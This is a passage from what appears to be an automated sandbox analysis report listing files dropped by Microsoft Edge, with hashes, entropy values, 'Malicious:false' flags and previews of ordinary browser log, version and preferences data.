                                                                                                                                                                          SSDEEP:6:/XntM+4il3sedhOeAyOuuuuuuuuudillT9LEE4/gPsedhOS:hlc8JAyOuuuuuuuuuAllT9Ls8z
                                                                                                                                                                          MD5:596DCBC357AD19E39D6CA1518ADDE223
                                                                                                                                                                          SHA1:D6BF9318C06A361876BF8A6289BB85A062E2DF8D
                                                                                                                                                                          SHA-256:AE0DBD0B4D01F62320C6C9985A3E9CBA447A523DFA7005B1DF083D33536D22C1
                                                                                                                                                                          SHA-512:41ACFCE16BE0CF76CDF2BBB1A49B01B38417193C6F625C47086EE309E0929FDED3DA9FEE3DE6D997E6C5AE6292EC77BE3116F997D02765C5D3BE00410316D470
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:A..r.................20_1_1...1.,U.................20_1_1...1.9.0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............a.Tl;...............#38_h.......6.Z..W.F.....y.......y............V.e................V.e................V.e................XO./0................39_config..........6.....n ....1
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):320
                                                                                                                                                                          Entropy (8bit):5.08302058888767
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EhAq2PqLTwi23oH+TcwtfrK+IFUt8F8hZmw+F87kwOqLTwi23oH+TcwtfrUeLJ:EhAv8wZYeb23FUt8F8h/+F875TwZYeb5
                                                                                                                                                                          MD5:26AD12D72AFAAB08A18E4B1762BCAF53
                                                                                                                                                                          SHA1:1568C496CE5754E8318F86D7FD0A7E7479212AC3
                                                                                                                                                                          SHA-256:9EEF95ABA6F050956F947FEA54643CBF68DEC2E35222CE25A6DD9A3131EC2C49
                                                                                                                                                                          SHA-512:73D77E36F8C8BFFDA221BD2C2AFDD487E107580A497E5B25551EF9B939F5B9EC6B96E332393EA663867E0E742D733E14859A3F16B55BFD369CC530173100FBB0
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.204 1520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/23-02:40:00.205 1520 Recovering log #3.2024/12/23-02:40:00.205 1520 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):320
                                                                                                                                                                          Entropy (8bit):5.08302058888767
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EhAq2PqLTwi23oH+TcwtfrK+IFUt8F8hZmw+F87kwOqLTwi23oH+TcwtfrUeLJ:EhAv8wZYeb23FUt8F8h/+F875TwZYeb5
                                                                                                                                                                          MD5:26AD12D72AFAAB08A18E4B1762BCAF53
                                                                                                                                                                          SHA1:1568C496CE5754E8318F86D7FD0A7E7479212AC3
                                                                                                                                                                          SHA-256:9EEF95ABA6F050956F947FEA54643CBF68DEC2E35222CE25A6DD9A3131EC2C49
                                                                                                                                                                          SHA-512:73D77E36F8C8BFFDA221BD2C2AFDD487E107580A497E5B25551EF9B939F5B9EC6B96E332393EA663867E0E742D733E14859A3F16B55BFD369CC530173100FBB0
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.204 1520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/23-02:40:00.205 1520 Recovering log #3.2024/12/23-02:40:00.205 1520 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):753
                                                                                                                                                                          Entropy (8bit):4.037333775091125
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
                                                                                                                                                                          MD5:C5675C35B320A0898802E1ECFD3476E8
                                                                                                                                                                          SHA1:B6CA1C2EE1340662A7B495778416988006748327
                                                                                                                                                                          SHA-256:8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
                                                                                                                                                                          SHA-512:DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.|.................9_.....'\c..................9_.......f-.................__global... .|.&R.................__global... ./....................__global... ..T...................__global... .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):338
                                                                                                                                                                          Entropy (8bit):5.153349291429113
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EEq2PqLTwi23oH+TcwtfrzAdIFUt8FyZmw+F+kwOqLTwi23oH+TcwtfrzILJ:EEv8wZYeb9FUt8Fy/+F+5TwZYeb2J
                                                                                                                                                                          MD5:6CDF7C0DA08C45FF6E796EFF3DC4ACAD
                                                                                                                                                                          SHA1:897807F5905403D3B43B9782F2ADA08243527313
                                                                                                                                                                          SHA-256:43CCF1B64E15238D95A3DDCFB1E27BC7D38C565456ACEFCE72B4AED48C49B29F
                                                                                                                                                                          SHA-512:C2FCB4F7BE10AE5B6681574D58BE8FFDAA993D196A4C925A40D1EBC2122D4E49DDF073F91EC3F4FC0E5BBD11744A50AEC52C24999972D77D68329684E9B8BFEB
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.196 1520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/23-02:40:00.197 1520 Recovering log #3.2024/12/23-02:40:00.197 1520 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):338
                                                                                                                                                                          Entropy (8bit):5.153349291429113
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EEq2PqLTwi23oH+TcwtfrzAdIFUt8FyZmw+F+kwOqLTwi23oH+TcwtfrzILJ:EEv8wZYeb9FUt8Fy/+F+5TwZYeb2J
                                                                                                                                                                          MD5:6CDF7C0DA08C45FF6E796EFF3DC4ACAD
                                                                                                                                                                          SHA1:897807F5905403D3B43B9782F2ADA08243527313
                                                                                                                                                                          SHA-256:43CCF1B64E15238D95A3DDCFB1E27BC7D38C565456ACEFCE72B4AED48C49B29F
                                                                                                                                                                          SHA-512:C2FCB4F7BE10AE5B6681574D58BE8FFDAA993D196A4C925A40D1EBC2122D4E49DDF073F91EC3F4FC0E5BBD11744A50AEC52C24999972D77D68329684E9B8BFEB
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:00.196 1520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/23-02:40:00.197 1520 Recovering log #3.2024/12/23-02:40:00.197 1520 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):120
                                                                                                                                                                          Entropy (8bit):3.32524464792714
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
                                                                                                                                                                          MD5:A397E5983D4A1619E36143B4D804B870
                                                                                                                                                                          SHA1:AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
                                                                                                                                                                          SHA-256:9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
                                                                                                                                                                          SHA-512:4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):13
                                                                                                                                                                          Entropy (8bit):2.7192945256669794
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:NYLFRQI:ap2I
                                                                                                                                                                          MD5:BF16C04B916ACE92DB941EBB1AF3CB18
                                                                                                                                                                          SHA1:FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
                                                                                                                                                                          SHA-256:7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
                                                                                                                                                                          SHA-512:F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:117.0.2045.47
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
                                                                                                                                                                          SHA1:F9FFE819B396AAAE9BCFDC29D2CDDEE241E3CEE0
                                                                                                                                                                          SHA-256:E8915C0F13792723EE80E95C3340F14DCD43CC51495BC732649E6BFAA46BC493
                                                                                                                                                                          SHA-512:3C0F16E9FDB13D78A1DC808E96F04437AB9C5E7155D74C26C762BF77E28492A2B9A54D084360B79E0EA8E8A127C2279C154BD308E1F6740FCA0737D992238AE3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):58444
                                                                                                                                                                          Entropy (8bit):6.101676407533722
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:z/Ps+wsI7ynoCBS2qX7bRtPHgorQXdbiR3oM:z/0+zI7ynokS20htP0Xdbe3
                                                                                                                                                                          MD5:CF3A9CE3390629AD48D649B6053BBA71
